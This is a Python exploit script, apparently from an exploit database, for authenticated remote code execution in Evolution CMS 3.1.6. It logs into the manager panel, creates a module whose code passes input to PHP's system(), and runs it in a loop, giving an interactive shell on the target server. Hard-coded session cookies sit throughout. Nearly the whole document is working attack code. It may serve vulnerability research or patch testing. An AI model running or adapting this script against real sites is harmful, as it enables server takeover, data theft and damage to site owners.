# Exploit Title: Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)
# Date: 15-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://evo.im/
# Software Link: https://github.com/evolution-cms/evolution/releases
# Version: 3.1.6
# Category: Webapps
# Tested on: Linux/Windows
# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h
from bs4 import BeautifulSoup
from time import sleep
import requests
import argparse
import sys
def main():
parser = argparse.ArgumentParser(description='Evolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)')
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("\nEvolution CMS 3.1.6 - Remote Code Execution (RCE) (Authenticated)",
"\nExploit Author: Halit AKAYDIN (hLtAkydn)\n")
sleep(2)
exploit(args)
def exploit(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...\n")
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
else:
print("\n[?] Check Adress...\n")
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
sleep(2)
# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!")
sleep(2)
exit(1)
except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)
# Login and cookie set
session = requests.session()
url = args.host + "/manager/?a=0"
cookies = {
"mybb[lastvisit]": "1631537273",
"loginattempts": "1",
"mybb[lastactive]": "1631537588",
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
"KCFINDER_showname": "on",
"KCFINDER_showsize": "off",
"KCFINDER_showtime": "off",
"KCFINDER_order": "name",
"KCFINDER_orderDesc": "off",
"KCFINDER_view": "thumbs",
"KCFINDER_displaySettings": "off",
"evoq28fzr": "o0hd9im6q76pptjcsjeaa693os"
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Content-Type": "application/x-www-form-urlencoded;",
"Accept": "*/*",
"Origin": args.host,
"Referer": args.host + "/manager/",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
data = {
"ajax": "1",
"username": args.login,
"password": args.password,
"rememberme": "1"
}
response = session.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
new_cookie = response.cookies.get("evoq28fzr")
user_role = response.cookies.get("modx_remember_manager")
if user_role is None:
print("[-] Login Failed!\n")
print("[*]",response.text)
sleep(2)
exit(1)
else:
print("[+] Login Success!\n")
sleep(2)
print("[!] Login User", user_role,"\n")
sleep(2)
# User authorization check
url = args.host + "/manager/index.php"
cookies = {
"mybb[lastvisit]": "1631537273",
"loginattempts": "1",
"mybb[lastactive]": "1631537588",
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
"KCFINDER_showname": "on",
"KCFINDER_showsize": "off",
"KCFINDER_showtime": "off",
"KCFINDER_order": "name",
"KCFINDER_orderDesc": "off",
"KCFINDER_view": "thumbs",
"KCFINDER_displaySettings": "off",
"webfxtab_modulePane": "0",
"evoq28fzr": new_cookie,
}
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/manager/index.php?a=108&id=1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
data = {
"a": "109",
"id": "1",
"mode": "108",
"stay": "2",
"name": "rce",
"description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
"categoryid": "1",
"newcategory": '',
"icon": '',
"resourcefile": '',
"post": "system('whoami');",
"guid": "8d4669cac3afd1f59d416f11eadf3355",
"properties": "{}",
"chkallgroups": "on",
"save": "Submit"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
soup = BeautifulSoup(response.text, 'html.parser')
if soup.find_all("title")[0].text == "My Evolution Site (Evolution CMS Manager Login)":
print("[!] Unauthorized user\n\n")
print("User with module creation permissions is required.")
exit(1)
elif soup.find_all("p")[0].text == "You don't have enough privileges for this action!":
print("[!] Unauthorized user\n\n")
print("User with module creation permissions is required.")
exit(1)
else:
print ("[+] Exploit Done!\n")
sleep(2)
pass
while True:
cmd = input("$ ")
# Update Modules
url = args.host + "/manager/index.php"
cookies = {
"mybb[lastvisit]": "1631537273",
"loginattempts": "1",
"mybb[lastactive]": "1631537588",
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
"KCFINDER_showname": "on",
"KCFINDER_showsize": "off",
"KCFINDER_showtime": "off",
"KCFINDER_order": "name",
"KCFINDER_orderDesc": "off",
"KCFINDER_view": "thumbs",
"KCFINDER_displaySettings": "off",
"webfxtab_modulePane": "0",
"evoq28fzr": new_cookie,
}
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/manager/index.php?a=108&id=1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
data = {
"a": "109",
"id": "1",
"mode": "108",
"stay": "2",
"name": "rce",
"description": "<strong>0.1.3</strong> first repository for Evolution CMS ",
"categoryid": "1",
"newcategory": '',
"icon": '',
"resourcefile": '',
"post": "system('"+cmd+"');",
"guid": "8d4669cac3afd1f59d416f11eadf3355",
"properties": "{}",
"chkallgroups": "on",
"save": "Submit"
}
response = requests.post(url, headers=headers, cookies=cookies, data=data, timeout=5)
# Run Modules
url = args.host + "/manager/index.php?id=1&a=112"
cookies = {
"mybb[lastvisit]": "1631537273",
"loginattempts": "1",
"mybb[lastactive]": "1631537588",
"mybbuser": "2_IFsbw9XQFguv1DM0ygBdbkeg3v0zmQPpW6it5MjHev7gz3nkNn",
"evo_session": "Kp9j1QushJrXYwhHiHS1dqntLiTnTiBQ25ZUDndq",
"KCFINDER_showname": "on",
"KCFINDER_showsize": "off",
"KCFINDER_showtime": "off",
"KCFINDER_order": "name",
"KCFINDER_orderDesc": "off",
"KCFINDER_view": "thumbs",
"KCFINDER_displaySettings": "off",
"webfxtab_modulePane": "0",
"evoq28fzr": new_cookie,
}
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/manager/index.php?a=108&id=1",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
response = requests.get(url, headers=headers, cookies=cookies, timeout=5)
if response.text == "":
print(cmd + ": command not found\n")
else:
print(response.text)
if __name__ == '__main__':
main()Data
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